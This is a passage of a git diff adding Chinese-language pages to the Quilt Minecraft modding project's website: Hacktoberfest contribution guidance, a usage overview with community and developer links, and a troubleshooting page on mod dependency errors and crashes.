Wiki](https://github.com/quiltmc/developer-wiki) +- [Enigma](https://github.com/quiltmc/enigma) +- [Mappings Hasher](https://github.com/quiltmc/mappings-hasher) +- [Quilt Loom](https://github.com/quiltmc/quilt-loom) +- [quiltmc.org](https://github.com/quiltmc/quiltmc.org) +- [Quilted Fabric API](https://github.com/quiltmc/quilted-fabric-api) +- [Quiltflower](https://github.com/quiltmc/quiltflower) +- [Quilt Mappings](https://github.com/quiltmc/quilt-mappings) +- [Quilt Standard Libraries](https://github.com/quiltmc/quilt-standard-libraries) + +此外,以下 Quilt 项目接受 Hacktoberfest 的**低代码或非代码**Pull Request: + +- Developer Wiki(文档) +- quiltmc.org(翻译) + +在确定要贡献的仓库后,一个很好的起点是查看 Issues 标签,找到你认为可以帮助的内容,除非你已经有具体想法。如果你找到了你认为自己可以做的事情,请留下评论说明你打算参与,并在开始工作之前澄清任何你不确定的细节。同样,如果你尝试的内容没有在问题中被跟踪,请务必在 GitHub 上创建一个问题或与开发人员在Discord上交流确认这对项目是否有益,我们不希望你的工作白费!我们不会接受明显低努力或无帮助的贡献,Pull Request 将由负责该仓库的团队自行决定是否接受。 + +一旦确定了要做的工作,请务必阅读仓库的贡献指南,通常可以在 README 或 CONTRIBUTING.md 文件中找到。这些指南不仅会给出在本地开发仓库的建议,而且通常还包含有关提交贡献的适当程序和代码约定的信息。遵循正确的程序和约定提交的贡献很可能会被迅速审查和接受。一些仓库还可能有其他与贡献相关的文件,这些文件可能不那么明显,比如在 quiltmc.org 中的`ARCHITECTURE.md`,所以在开始之前最好好好查看一下。 + +### Pull Requests + +完成并测试你的工作后,现在是将其作为 Pull Request 提交的时候了。所有的贡献都必须以 Pull Request 的形式提交,以便在 Hacktoberfest 和 Modtoberfest 中进行跟踪,包括低负荷或非代码贡献。 + +在你的 Pull Request 标题中,简要概述你的更改,在描述中提供更详细的信息。请确保说明你希望你的贡献计入 Hacktoberfest、Modtoberfest,或者两者都计入。记住,书写良好的 Pull Request 会让每个人的生活更轻松,也更有可能被及时地审查和接受。 + +如果你对 Pull Request 的流程不熟悉,通常的流程如下:在提交 Pull Request 后,负责接收你的 Pull Request 的团队成员会检查你的工作,并告诉你需要做出哪些修改,然后才能将其合并到主要仓库中。要对 Pull Request 中的文件进行任何更改,只需将它们提交到你用来创建 Pull Request 的分支中,只要你记得将它们推送到 GitHub,它们就会自动添加进去。 diff --git a/src/pages/zh/usage/index.mdx b/src/pages/zh/usage/index.mdx new file mode 100644 index 000000000..3f1a36e89 --- /dev/null +++ b/src/pages/zh/usage/index.mdx @@ -0,0 +1,24 @@ +--- +permalink: /usage/ +title: Usage Overview +description: Learn how to use Quilt, and how to make the most of it. +layout: /src/layouts/Page.astro +--- + +这个部分包含了有关 Quilt 的使用文档。目前,它包含了一些信息,以帮助您充分利用 Quilt,并解决您遇到的任何问题。随着时间的推移,我们将不断扩充这个文档内容。因此,如果您有任何问题或疑问,认为应该在这里进行涵盖,请告诉我们! + +## 玩家链接 + +- [安装 Quilt 和模组](/install) + +## 社区链接 + +- Discord:[Quilt 项目](https://discord.quiltmc.org)(涵盖 Quilt 项目相关的所有主题) +- 论坛:[官方 Quilt 论坛](https://forum.quiltmc.org)(涵盖所有主题) + +## 开发者链接 + +- Aurora 的 [Quilt 导入工具](https://lambdaurora.dev/tools/import_quilt.html)(用于 Gradle 项目的版本信息) +- [Quilt 开发者维基](https://modder.wiki.quiltmc.org) +- [Quilt Maven 仓库](https://maven.quiltmc.org) +- [Quilt 模组模板](https://github.com/QuiltMC/quilt-template-mod) diff --git a/src/pages/zh/usage/troubleshooting.mdx b/src/pages/zh/usage/troubleshooting.mdx new file mode 100644 index 000000000..b53429ab0 --- /dev/null +++ b/src/pages/zh/usage/troubleshooting.mdx @@ -0,0 +1,66 @@ +--- +permalink: /usage/troubleshooting +title: Troubleshooting +description: How to troubleshoot Quilt when there's an issue +layout: /src/layouts/Page.astro +--- + +import Message from "@atoms/Message.astro"; + + + +## Why am I getting an "Incompatible mod set!" error? + +There are a few versions of this error, but they all ultimately mean the same thing: You're missing something another mod +needs to work, or your mods are incompatible with each other. + +**Note:** We understand that these error pop-ups are ugly, difficult to read and extremely confusing. While we haven't +had time to fix this in time for our first beta, we are planning on solving this problem and providing something that +everyone can understand. + +### Missing dependency + +The following errors mean you're missing the [Quilt Standard Libraries](https://modrinth.com/mod/qsl) -- please download +them and add them to your `mods` folder or launcher mod list. + +- Dependency for mod 'mod-id' on fabric versions ... +- Dependency for mod 'mod-id' on quilt\_ ... + +Any other dependencies listed similarly are other mods, and you'll need to download them separately and add them to +your `mods` folder or launcher mod list. + +### Incompatible mod versions + +If the error specifies that a mod exists but isn't valid for resolution, you have incompatible mod versions. You'll +need to double-check that all your mods are up-to-date and, if they are, contact the developers behind the mods that +are causing problems. + +### Jar-in-jar resolution error + +![JiJ resolution error](/assets/img/misc/jij-resolution-error.png) + +If the error you're getting looks something like this, then this is a problem with a mod you're using -- you should +report it to that mod's developers. The mod you're looking for in this example has been circled in red above for +clarity -- in this case, the mod would be QuickCarpet. + + + + +## My game is crashing. Why is this happening? + +If your game is crashing, the most likely cause is a problem with a mod you have installed. It's always worth trying +to figure out if this is the case, and you can attempt to do so by following these steps: + +1. First, take a look at your `latest.log` - you can find this in the `logs/` folder located within your Minecraft + profile, which will likely be in your `.minecraft/` by default. +2. If you notice errors in your log referring to a specific mod, try removing it and see whether you can reproduce the + error. +3. You could also try using a binary search to track down a misbehaving mod - move half of your mods to another folder, + and test the other half. If there's no issue in that half, switch to the other one. Continue to split your mods in + half and test each half until you've managed to isolate the problematic mod. + +If this doesn't help, or you have trouble reading the logs on your own, please feel free to drop into the +`#quilt-basic-support` channel on [The Quilt Community Discord server](https://discord.quiltmc.org), and we'll try to +help you out. **Please remember to provide your `latest.log` and any other relevant issue when requesting support!** + +